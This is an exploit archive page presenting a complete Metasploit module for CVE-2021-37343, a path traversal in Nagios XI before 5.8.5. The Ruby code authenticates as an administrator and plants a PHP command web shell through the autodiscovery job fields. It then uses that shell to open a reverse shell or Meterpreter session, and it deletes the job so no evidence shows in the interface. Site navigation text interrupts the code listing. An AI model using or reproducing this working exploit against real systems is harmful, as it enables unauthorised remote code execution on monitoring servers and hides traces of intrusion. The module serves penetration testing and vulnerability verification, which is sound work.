Nagios XI Autodiscovery Shell Upload

Authored by jbaines-r7, Claroty Team82 | Site metasploit.com

Posted Feb 14, 2022

This Metasploit module exploits a path traversal issue in Nagios XI before version 5.8.5. The path traversal allows a remote and authenticated administrator to upload a PHP web shell and execute code as www-data. The module achieves this by creating an autodiscovery job with an id field containing a path traversal to a writable and remotely accessible directory, and custom_ports field containing the web shell. A cron file will be created using the chosen path and file name, and the web shell is embedded in the file. After the web shell has been written to the victim, this module will then use the web shell to establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by the module, and the autodiscovery job is removed as well.

tags | exploit, remote, web, shell, php
advisories | CVE-2021-37343
SHA-256 | 056c02dbc5e575c5155e8c34f4766dcc9830256d1bc589d898d599d7f0e9dc4d **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::NagiosXi
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Nagios XI Autodiscovery Webshell Upload',
        'Description' => %q{
          This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343).
          The path traversal allows a remote and authenticated administrator to upload a PHP web shell
          and execute code as `www-data`. The module achieves this by creating an autodiscovery job
          with an `id` field containing a path traversal to a writable and remotely accessible directory,
          and `custom_ports` field containing the web shell. A cron file will be created using the chosen
          path and file name, and the web shell is embedded in the file.

          After the web shell has been written to the victim, this module will then use the web shell to
          establish a Meterpreter session or a reverse shell. By default, the web shell is deleted by
          the module, and the autodiscovery job is removed as well.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Claroty Team82', # vulnerability discovery
          'jbaines-r7' # metasploit module
        ],
        'References' => [
          ['CVE', '2021-37343'],
          ['URL', 'https://claroty.com/2021/09/21/blog-research-securing-network-management-systems-nagios-
xi/']
        ],
        'DisclosureDate' => '2021-07-15',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_openssl'
              },
              'Payload' => {
                'Append' => ' & disown'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'printf' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options [
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', nil]),
      OptInt.new('DEPTH', [true, 'The depth of the path traversal', 10]),
      OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left
unset', nil]),
      OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
    ]

    @webshell_uri = '/includes/components/highcharts/exporting-server/temp/'
    @webshell_path = '/usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/'
  end

  # Authenticate and grab the version from the dashboard. Store auth cookies for later user.
  def check
    login_result, res_array = nagios_xi_login(datastore['USERNAME'], datastore['PASSWORD'], false)
    case login_result
    when 1..3 # An error occurred
      return CheckCode::Unknown(res_array[0])
    when 4
      return CheckCode::Detected('Nagios is not fully installed.')
    when 5
      return CheckCode::Detected('The Nagios license has not been signed.')
    end

    # res_array[1] cannot be nil since the mixin checks for that already.
    @auth_cookies = res_array[1]
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
    nagios_version = nagios_xi_version(res_array[0])
    if nagios_version.nil?
      return CheckCode::Detected('Unable to obtain the Nagios XI version from the dashboard')
    end

    # affected versions are 5.2.0 -> 5.8.4
    if Rex::Version.new(nagios_version) < Rex::Version.new('5.8.5') &&
      Rex::Version.new(nagios_version) >= Rex::Version.new('5.2.0')
      return CheckCode::Appears("Determined using the self-reported version: #{nagios_version}")
    end

    CheckCode::Safe("Determined using the self-reported version: #{nagios_version}")
  end

  # Using the path traversal, upload a php webshell to the remote target
  def drop_webshell
    autodisc_uri = normalize_uri(target_uri.path, '/includes/components/autodiscovery/')
    print_status("Attempting to grab a CSRF token from #{autodisc_uri}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => autodisc_uri,
      'cookie' => @auth_cookies,
      'vars_get' => {
        'mode' => 'newjob'
      }
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
    fail_with(Failure::UnexpectedReply, 'Unexpected HTTP body') unless res.body.include?('<title>New Auto-
Discovery Job')

    # snag the nsp token from the response
    nsp = get_nsp(res)
    fail_with(Failure::Unknown, 'Failed to obtain the nsp token which is required to upload the web shell') if
nsp.blank?

    # drop a basic web shell on the server
    webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
    print_status("Uploading webshell to #{webshell_location}")
    php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
    payload = 'update=1&' \
      "job=#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}&" \
      "nsp=#{nsp}&" \
      'address=127.0.0.1%2F0&' \
      'frequency=Yearly&' \
      "custom_ports=#{php_webshell}&"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => autodisc_uri,
      'cookie' => @auth_cookies,
      'vars_get' => {
        'mode' => 'newjob'
      },
      'data' => payload
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 302

    # Test the web shell installed by echoing a random string and ensure it appears in the res.body
    print_status('Testing if web shell installation was successful')
    rand_data = Rex::Text.rand_text_alphanumeric(16..32)
    res = execute_via_webshell("echo #{rand_data}")
    fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless
res.body.include?(rand_data)
    print_good("Web shell installed at #{webshell_location}")

    # This is a great place to leave a web shell for persistence since it doesn't require auth
    # to touch it. By default, we'll clean this up but the attacker has to option to leave it
    if datastore['DELETE_WEBSHELL']
      register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
    end
  end

  # Successful exploitation creates a new job in the autodiscovery view. This function deletes
  # the job that there is no evidence of exploitation in the UI.
  def cleanup_job
    print_status('Deleting autodiscovery job')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/includes/components/autodiscovery/'),
      'cookie' => @auth_cookies,
      'vars_get' => {
        'mode' => 'deletejob',
        'job' => "#{'../' * datastore['DEPTH']}#{@webshell_path}#{@webshell_name}"
      }
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res&.code == 302
  end

  # Executes commands via the uploaded webshell
  def execute_via_webshell(cmd)
    cmd = Rex::Text.uri_encode(cmd)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "/includes/components/highcharts/exporting-server/temp/#
{@webshell_name}?cmd=#{cmd}")
    })

    fail_with(Failure::Disconnected, 'Connection failed') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
    res
  end

  def execute_command(cmd, _opts = {})
    execute_via_webshell(cmd)
  end

  def exploit
    # create a randomish web shell name if the user doesn't specify one
    @webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"

    drop_webshell

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  ensure
    cleanup_job
  end
end
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other
SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory

About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By
Rokasec

Follow us on Twitter
Subscribe to an RSS Feed